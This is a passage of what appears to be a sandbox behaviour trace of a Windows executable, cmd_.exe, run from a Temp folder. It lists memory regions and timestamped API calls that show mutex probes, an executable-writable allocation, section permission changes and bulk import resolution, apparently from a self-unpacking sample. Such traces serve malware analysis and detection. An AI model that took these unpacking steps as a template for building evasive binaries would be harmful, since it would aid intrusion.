3270 start_va = 0x73850000 end_va = 0x73858fff entry_point = 0x73850000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3271 start_va = 0x2300000 end_va = 0x233ffff entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 3272 start_va = 0x2bf0000 end_va = 0x2c00fff entry_point = 0x2bf0000 region_type = mapped_file name = "c_20127.nls" filename = "\\Windows\\System32\\C_20127.NLS" (normalized: "c:\\windows\\system32\\c_20127.nls") Region: id = 3273 start_va = 0x3060000 end_va = 0x315ffff entry_point = 0x0 region_type = private name = "private_0x0000000003060000" filename = "" Region: id = 3274 start_va = 0x31e0000 end_va = 0x3522fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000031e0000" filename = "" Region: id = 3275 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 3276 start_va = 0x2c10000 end_va = 0x2cb1fff entry_point = 0x0 region_type = private name = "private_0x0000000002c10000" filename = "" Region: id = 3339 start_va = 0x880000 end_va = 0x883fff entry_point = 0x880000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Thread: id = 89 os_tid = 0x808 [0068.103] GetTempPathW (in: nBufferLength=0x11, lpBuffer=0x4093ac | out: lpBuffer="") returned 0x26 [0068.103] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="") returned 0x0 [0068.103] GetTempPathW (in: nBufferLength=0x11, lpBuffer=0x4093ac | out: lpBuffer="") returned 0x26 [0068.103] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="") returned 0x0 [0068.103] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="") returned 0x0 [0068.103] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="") returned 0x0 [0068.103] GetTempPathW (in: nBufferLength=0x11, lpBuffer=0x4093ac | out: lpBuffer="") returned 0x26 [0068.103] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="") returned 0x0 [0068.103] GetTempPathW (in: nBufferLength=0x11, lpBuffer=0x4093ac | out: lpBuffer="") returned 0x26 [0068.103] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="") returned 0x0 [0068.103] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="") returned 0x0 [0068.103] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="") returned 0x0 [0068.104] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75440000 [0068.104] LoadLibraryExA (lpLibFileName="gsbcconf.dll", hFile=0x0, dwFlags=0x0) returned 0x0 [0068.106] GetTempPathW (in: nBufferLength=0x11, lpBuffer=0x4093ac | out: lpBuffer="") returned 0x26 [0068.106] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="") returned 0x0 [0068.106] LoadLibraryExA (lpLibFileName="odbcconf.dll", hFile=0x0, dwFlags=0x0) returned 0x74e60000 [0069.752] GetTempPathW (in: nBufferLength=0x11, lpBuffer=0x4093ac | out: lpBuffer="") returned 0x26 [0069.752] GetProcAddress (hModule=0x75440000, lpProcName="HeapCreate") returned 0x75454a2d [0069.752] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x75440000 [0069.766] GetProcAddress (hModule=0x75440000, lpProcName="HeapAlloc") returned 0x775fe026 [0069.766] GetProcAddress (hModule=0x75440000, lpProcName="HeapFree") returned 0x754514c9 [0069.766] GetProcAddress (hModule=0x75440000, lpProcName="GetTickCount") returned 0x7545110c [0069.766] VirtualAlloc (lpAddress=0x0, dwSize=0x688, flAllocationType=0x1000, flProtect=0x40) returned 0x220000 [0069.766] VirtualAlloc (lpAddress=0x0, dwSize=0x1ee00, flAllocationType=0x1000, flProtect=0x4) returned 0x230000 [0069.780] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x4, lpflOldProtect=0x18ff34 | out: lpflOldProtect=0x18ff34*=0x2) returned 1 [0069.781] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x18ff34 | out: lpflOldProtect=0x18ff34*=0x4) returned 1 [0069.781] VirtualProtect (in: lpAddress=0x401000, dwSize=0x10000, flNewProtect=0x4, lpflOldProtect=0x18ff14 | out: lpflOldProtect=0x18ff14*=0x10) returned 1 [0069.814] VirtualProtect (in: lpAddress=0x401000, dwSize=0x10000, flNewProtect=0x20, lpflOldProtect=0x18ff14 | out: lpflOldProtect=0x18ff14*=0x4) returned 1 [0069.814] VirtualProtect (in: lpAddress=0x411000, dwSize=0x8000, flNewProtect=0x4, lpflOldProtect=0x18ff14 | out: lpflOldProtect=0x18ff14*=0x2) returned 1 [0069.814] VirtualProtect (in: lpAddress=0x411000, dwSize=0x8000, flNewProtect=0x2, lpflOldProtect=0x18ff14 | out: lpflOldProtect=0x18ff14*=0x4) returned 1 [0069.814] VirtualProtect (in: lpAddress=0x419000, dwSize=0x4000, flNewProtect=0x4, lpflOldProtect=0x18ff14 | out: lpflOldProtect=0x18ff14*=0x2) returned 1 [0069.814] VirtualProtect (in: lpAddress=0x419000, dwSize=0x4000, flNewProtect=0x4, lpflOldProtect=0x18ff14 | out: lpflOldProtect=0x18ff14*=0x4) returned 1 [0069.814] VirtualProtect (in: lpAddress=0x41d000, dwSize=0x2000, flNewProtect=0x4, lpflOldProtect=0x18ff14 | out: lpflOldProtect=0x18ff14*=0x2) returned 1 [0069.815] VirtualProtect (in: lpAddress=0x41d000, dwSize=0x2000, flNewProtect=0x2, lpflOldProtect=0x18ff14 | out: lpflOldProtect=0x18ff14*=0x4) returned 1 [0069.815] VirtualProtect (in: lpAddress=0x41f000, dwSize=0x5000, flNewProtect=0x4, lpflOldProtect=0x18ff14 | out: lpflOldProtect=0x18ff14*=0x2) returned 1 [0069.815] VirtualProtect (in: lpAddress=0x41f000, dwSize=0x5000, flNewProtect=0x2, lpflOldProtect=0x18ff14 | out: lpflOldProtect=0x18ff14*=0x4) returned 1 [0069.815] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x75440000 [0069.815] VirtualProtect (in: lpAddress=0x411014, dwSize=0x184, flNewProtect=0x4, lpflOldProtect=0x18ff08 | out: lpflOldProtect=0x18ff08*=0x2) returned 1 [0069.815] GetProcAddress (hModule=0x75440000, lpProcName="GetCurrentProcessId") returned 0x754511f8 [0069.815] GetProcAddress (hModule=0x75440000, lpProcName="ExitProcess") returned 0x75457a10 [0069.815] GetProcAddress (hModule=0x75440000, lpProcName="GetLastError") returned 0x754511c0 [0069.815] GetProcAddress (hModule=0x75440000, lpProcName="SetLastError") returned 0x754511a9 [0069.815] GetProcAddress (hModule=0x75440000, lpProcName="SetErrorMode") returned 0x75451b00 [0069.815] GetProcAddress (hModule=0x75440000, lpProcName="ReadProcessMemory") returned 0x7546cfcc [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="Sleep") returned 0x754510ff [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="GetFileSize") returned 0x7545196e [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="GetStdHandle") returned 0x754551b3 [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="WriteFile") returned 0x75451282 [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="ReadFile") returned 0x75453ed3 [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="CloseHandle") returned 0x75451410 [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="GetHandleInformation") returned 0x7547cb69 [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="lstrcmpA") returned 0x7546eceb [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="lstrcmpW") returned 0x75455929 [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="lstrcpyA") returned 0x75472a9d [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="lstrcpyW") returned 0x75473102 [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="lstrcatA") returned 0x75472b7a [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="lstrlenA") returned 0x75455a4b [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="lstrlenW") returned 0x75451700 [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="TlsGetValue") returned 0x754511e0 [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="TlsSetValue") returned 0x754514fb [0069.816] GetProcAddress (hModule=0x75440000, lpProcName="CreateMutexA") returned 0x75454c6b [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="LoadLibraryA") returned 0x754549d7 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="LoadLibraryW") returned 0x7545492b [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="GetModuleFileNameA") returned 0x754514b1 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="GetShortPathNameA") returned 0x7547594d [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="GetModuleHandleW") returned 0x754534b0 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="CreateProcessA") returned 0x75451072 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="GetEnvironmentVariableA") returned 0x754533a0 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="OutputDebugStringA") returned 0x7547b2b7 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="CreateDirectoryA") returned 0x7547d526 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="RemoveDirectoryA") returned 0x754d44bf [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="CreateFileA") returned 0x754553c6 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="DeleteFileA") returned 0x75455444 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="QueryPerformanceCounter") returned 0x75451725 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="GetVersionExW") returned 0x75451ae5 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="GetCurrentActCtx") returned 0x7546d551 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="LCMapStringW") returned 0x754517b9 [0069.817] GetProcAddress (hModule=0x75440000, lpProcName="GetConsoleOutputCP") returned 0x75469b0f [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="CreateToolhelp32Snapshot") returned 0x7547735f [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="Process32FirstW") returned 0x75478baf [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="Process32NextW") returned 0x7547896c [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="CreateFileW") returned 0x75453f5c [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="WriteConsoleW") returned 0x75477aca [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="SetStdHandle") returned 0x754d454f [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="SetFilePointerEx") returned 0x7546c807 [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="GetConsoleMode") returned 0x75451328 [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="GetConsoleCP") returned 0x754f7bff [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="GlobalAlloc") returned 0x7545588e [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="InterlockedDecrement") returned 0x754513f0 [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="GetProcAddress") returned 0x75451222 [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="GetModuleHandleA") returned 0x75451245 [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="DecodeSystemPointer") returned 0x7760ad98 [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="FlushFileBuffers") returned 0x7545469b [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="GetStringTypeW") returned 0x75451946 [0069.818] GetProcAddress (hModule=0x75440000, lpProcName="HeapReAlloc") returned 0x77611f6e [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="GetCPInfo") returned 0x75455189 [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="GetOEMCP") returned 0x7547d1a1 [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="GetACP") returned 0x7545179c [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="IsValidCodePage") returned 0x75454493 [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="LoadLibraryExW") returned 0x7545495d [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="OutputDebugStringW") returned 0x7547d1d4 [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="TlsFree") returned 0x75453587 [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="LocalFree") returned 0x75452d3c [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="EncodePointer") returned 0x77610fcb [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="DecodePointer") returned 0x77609d35 [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="RaiseException") returned 0x754558a6 [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="RtlUnwind") returned 0x7547d1c3 [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="GetCommandLineA") returned 0x754551a1 [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="GetModuleFileNameW") returned 0x75454950 [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="IsProcessorFeaturePresent") returned 0x75455235 [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="HeapAlloc") returned 0x775fe026 [0069.819] GetProcAddress (hModule=0x75440000, lpProcName="HeapFree") returned 0x754514c9 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="GetModuleHandleExW") returned 0x75454a6f [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="MultiByteToWideChar") returned 0x7545192e [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="HeapSize") returned 0x77603002 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="InterlockedIncrement") returned 0x75451400 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="GetCurrentThreadId") returned 0x75451450 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="IsDebuggerPresent") returned 0x75454a5d [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="EnterCriticalSection") returned 0x775f22b0 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="LeaveCriticalSection") returned 0x775f2270 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="GetProcessHeap") returned 0x754514e9 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="GetFileType") returned 0x75453531 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75451916 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="DeleteCriticalSection") returned 0x776045f5 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="GetStartupInfoW") returned 0x75454d40 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="GetSystemTimeAsFileTime") returned 0x75453509 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="GetEnvironmentStringsW") returned 0x754551e3 [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="FreeEnvironmentStringsW") returned 0x754551cb [0069.820] GetProcAddress (hModule=0x75440000, lpProcName="WideCharToMultiByte") returned 0x7545170d [0069.821] GetProcAddress (hModule=0x75440000, lpProcName="UnhandledExceptionFilter") returned 0x7547772f [0069.821] GetProcAddress (hModule=0x75440000, lpProcName="SetUnhandledExceptionFilter") returned 0x754587c9 [0069.821] GetProcAddress (hModule=0x75440000, lpProcName="GetCurrentProcess") returned 0x75451809 [0069.821] GetProcAddress (hModule=0x75440000, lpProcName="TerminateProcess") returned 0x7546d802 [0069.821] GetProcAddress (hModule=0x75440000, lpProcName="TlsAlloc") returned 0x754549ad [0069.821] VirtualProtect (in: lpAddress=0x411014, dwSize=0x184, flNewProtect=0x2, lpflOldProtect=0x18ff10 | out: lpflOldProtect=0x18ff10*=0x4) returned 1 [0069.821] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x75d10000 [0069.821] VirtualProtect (in: lpAddress=0x4111c4, dwSize=0x24, flNewProtect=0x4, lpflOldProtect=0x18ff08 | out: lpflOldProtect=0x18ff08*=0x2) returned 1 [0069.821] GetProcAddress (hModule=0x75d10000, lpProcName="SetCursor") returned 0x75d341f6 [0069.821] GetProcAddress (hModule=0x75d10000, lpProcName="wsprintfW") returned 0x75d4e061 [0069.821] GetProcAddress (hModule=0x75d10000, lpProcName="MoveWindow") returned 0x75d33698 [0069.821] GetProcAddress (hModule=0x75d10000, lpProcName="CharUpperBuffA") returned 0x75d2fe47 [0069.821] GetProcAddress (hModule=0x75d10000, lpProcName="CharUpperBuffW") returned 0x75d2fc5d [0069.821] GetProcAddress (hModule=0x75d10000, lpProcName="SetMenu") returned 0x75d32bb9 [0069.821] GetProcAddress (hModule=0x75d10000, lpProcName="LoadStringA") returned 0x75d2db21 [0069.821] GetProcAddress (hModule=0x75d10000, lpProcName="wsprintfA") returned 0x75d3ae5f [0069.821] VirtualProtect (in: lpAddress=0x4111c4, dwSize=0x24, flNewProtect=0x2, lpflOldProtect=0x18ff10 | out: lpflOldProtect=0x18ff10*=0x4) returned 1 [0069.822] GetModuleHandleA (lpModuleName="GDI32.dll") returned 0x75e10000 [0069.822] VirtualProtect (in: lpAddress=0x411008, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x18ff08 | out: lpflOldProtect=0x18ff08*=0x2) returned 1 [0069.822] GetProcAddress (hModule=0x75e10000, lpProcName="GetTextMetricsW") returned 0x75e282b2 [0069.822] GetProcAddress (hModule=0x75e10000, lpProcName="GetTextFaceW") returned 0x75e29936 [0069.822] VirtualProtect (in: lpAddress=0x411008, dwSize=0xc, flNewProtect=0x2, lpflOldProtect=0x18ff10 | out: lpflOldProtect=0x18ff10*=0x4) returned 1 [0069.822] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x77130000 [0069.822] VirtualProtect (in: lpAddress=0x411000, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x18ff08 | out: lpflOldProtect=0x18ff08*=0x2) returned 1 [0069.822] GetProcAddress (hModule=0x77130000, lpProcName="GetUserNameW") returned 0x7714157a [0069.822] VirtualProtect (in: lpAddress=0x411000, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x18ff10 | out: lpflOldProtect=0x18ff10*=0x4) returned 1 [0069.822] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x76140000 [0069.822] VirtualProtect (in: lpAddress=0x4111ac, dwSize=0x10, flNewProtect=0x4, lpflOldProtect=0x18ff08 | out: lpflOldProtect=0x18ff08*=0x2) returned 1 [0069.822] GetProcAddress (hModule=0x76140000, lpProcName="SHGetSpecialFolderPathA") returned 0x7638fb26 [0069.822] GetProcAddress (hModule=0x76140000, lpProcName="ShellExecuteA") returned 0x76387078 [0069.822] GetProcAddress (hModule=0x76140000, lpProcName="DragFinish") returned 0x76354e4a [0069.822] VirtualProtect (in: lpAddress=0x4111ac, dwSize=0x10, flNewProtect=0x2, lpflOldProtect=0x18ff10 | out: lpflOldProtect=0x18ff10*=0x4) returned 1 [0069.822] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x75f40000 [0069.822] VirtualProtect (in: lpAddress=0x4111e8, dwSize=0x1c, flNewProtect=0x4, lpflOldProtect=0x18ff08 | out: lpflOldProtect=0x18ff08*=0x2) returned 1 [0069.823] GetProcAddress (hModule=0x75f40000, lpProcName="CoCreateInstance") returned 0x75f89d0b [0069.823] GetProcAddress (hModule=0x75f40000, lpProcName="CoInitializeSecurity") returned 0x75f67259 [0069.823] GetProcAddress (hModule=0x75f40000, lpProcName="CoInitializeEx") returned 0x75f809ad [0069.823] GetProcAddress (hModule=0x75f40000, lpProcName="CoInitialize") returned 0x75f5b636 [0069.823] GetProcAddress (hModule=0x75f40000, lpProcName="CoCreateGuid") returned 0x75f815d5 [0069.823] GetProcAddress (hModule=0x75f40000, lpProcName="CoUninitialize") returned 0x75f886d3 [0069.823] VirtualProtect (in: lpAddress=0x4111e8, dwSize=0x1c, flNewProtect=0x2, lpflOldProtect=0x18ff10 | out: lpflOldProtect=0x18ff10*=0x4) returned 1 [0069.823] GetModuleHandleA (lpModuleName="OLEAUT32.dll") returned 0x75c30000 [0069.823] VirtualProtect (in: lpAddress=0x411198, dwSize=0x14, flNewProtect=0x4, lpflOldProtect=0x18ff08 | out: lpflOldProtect=0x18ff08*=0x2) returned 1 [0069.823] GetProcAddress (hModule=0x75c30000, lpProcName=0x9) returned 0x75c33eae [0069.823] GetProcAddress (hModule=0x75c30000, lpProcName=0x8) returned 0x75c33ed5 [0069.823] GetProcAddress (hModule=0x75c30000, lpProcName=0x6) returned 0x75c33e59 [0069.823] GetProcAddress (hModule=0x75c30000, lpProcName=0x2) returned 0x75c34642 [0069.823] VirtualProtect (in: lpAddress=0x411198, dwSize=0x14, flNewProtect=0x2, lpflOldProtect=0x18ff10 | out: lpflOldProtect=0x18ff10*=0x4) returned 1 [0069.823] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x753e0000 [0069.823] VirtualProtect (in: lpAddress=0x4111bc, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x18ff08 | out: lpflOldProtect=0x18ff08*=0x2) returned 1 [0069.824] GetProcAddress (hModule=0x753e0000, lpProcName="StrStrA") returned 0x7540c45b [0069.824] VirtualProtect (in: lpAddress=0x4111bc, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x18ff10 | out: lpflOldProtect=0x18ff10*=0x4) returned 1 [0069.824] VirtualFree (lpAddress=0x230000, dwSize=0x1ee00, dwFreeType=0x4000) returned 1 [0069.824] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0069.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x687a7d0, dwHighDateTime=0x1d3fd7c)) [0069.824] GetCurrentThreadId () returned 0x808 [0069.824] GetCurrentProcessId () returned 0x814 [0069.824] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=502142888) returned 1 [0069.824] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x754549d7, hStdOutput=0x4071b3, hStdError=0x401479)) [0069.824] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75440000 [0069.824] GetProcAddress (hModule=0x75440000, lpProcName="FlsAlloc") returned 0x75454f2b [0069.824] GetProcAddress (hModule=0x75440000, lpProcName="FlsFree") returned 0x7545359f [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="FlsGetValue") returned 0x75451252 [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="FlsSetValue") returned 0x75454208 [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="InitializeCriticalSectionEx") returned 0x75454d28 [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="CreateSemaphoreExW") returned 0x754d4195 [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="SetThreadStackGuarantee") returned 0x7545d31f [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="CreateThreadpoolTimer") returned 0x7546ee7e [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="SetThreadpoolTimer") returned 0x7761441c [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7763c50e [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="CloseThreadpoolTimer") returned 0x7763c381 [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="CreateThreadpoolWait") returned 0x7546f088 [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="SetThreadpoolWait") returned 0x776205d7 [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="CloseThreadpoolWait") returned 0x7763ca24 [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="FlushProcessWriteBuffers") returned 0x775f0b8c [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x776afde8 [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="GetCurrentProcessorNumber") returned 0x77641e1d [0069.825] GetProcAddress (hModule=0x75440000, lpProcName="GetLogicalProcessorInformation") returned 0x754d4761 [0069.826] GetProcAddress (hModule=0x75440000, lpProcName="CreateSymbolicLinkW") returned 0x754ccd11 [0069.826] GetProcAddress (hModule=0x75440000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0069.826] GetProcAddress (hModule=0x75440000, lpProcName="EnumSystemLocalesEx") returned 0x754d424f [0069.826] GetProcAddress (hModule=0x75440000, lpProcName="CompareStringEx") returned 0x754d46b1 [0069.826] GetProcAddress (hModule=0x75440000, lpProcName="GetDateFormatEx") returned 0x754e6676 [0069.826] GetProcAddress (hModule=0x75440000, lpProcName="GetLocaleInfoEx") returned 0x754d4751 [0069.826] GetProcAddress (hModule=0x75440000, lpProcName="GetTimeFormatEx") returned 0x754e65f1 [0069.826] GetProcAddress (hModule=0x75440000, lpProcName="GetUserDefaultLocaleName") returned 0x754d47c1 [0069.826] GetProcAddress (hModule=0x75440000, lpProcName="IsValidLocaleName") returned 0x754d47e1 [0069.826] GetProcAddress (hModule=0x75440000, lpProcName="LCMapStringEx") returned 0x754d47f1 [0069.826] GetProcAddress (hModule=0x75440000, lpProcName="GetCurrentPackageId") returned 0x0 [0069.826] GetCurrentThreadId () returned 0x808 [0069.827] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x406e3a, hStdOutput=0x1aba4da4, hStdError=0x1)) [0069.827] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0069.827] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0069.827] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0069.827] GetCommandLineA () returned="\"C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe\" " [0069.827] GetEnvironmentStringsW () returned 0x8ad570* [0069.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1483, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1483 [0069.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1483, lpMultiByteStr=0x8ae110, cbMultiByte=1483, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1483 [0069.827] FreeEnvironmentStringsW (penv=0x8ad570) returned 1 [0069.827] GetLastError () returned 0x7f [0069.827] SetLastError (dwErrCode=0x7f) [0069.827] GetLastError () returned 0x7f [0069.827] SetLastError (dwErrCode=0x7f) [0069.827] GetLastError () returned 0x7f [0069.827] SetLastError (dwErrCode=0x7f) [0069.827] GetACP () returned 0x4e4 [0069.827] GetLastError () returned 0x7f [0069.827] SetLastError (dwErrCode=0x7f) [0069.827] IsValidCodePage (CodePage=0x4e4) returned 1 [0069.827] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0069.827] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0069.827] GetLastError () returned 0x7f [0069.827] SetLastError (dwErrCode=0x7f) [0069.827] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0069.827] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0069.827] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" 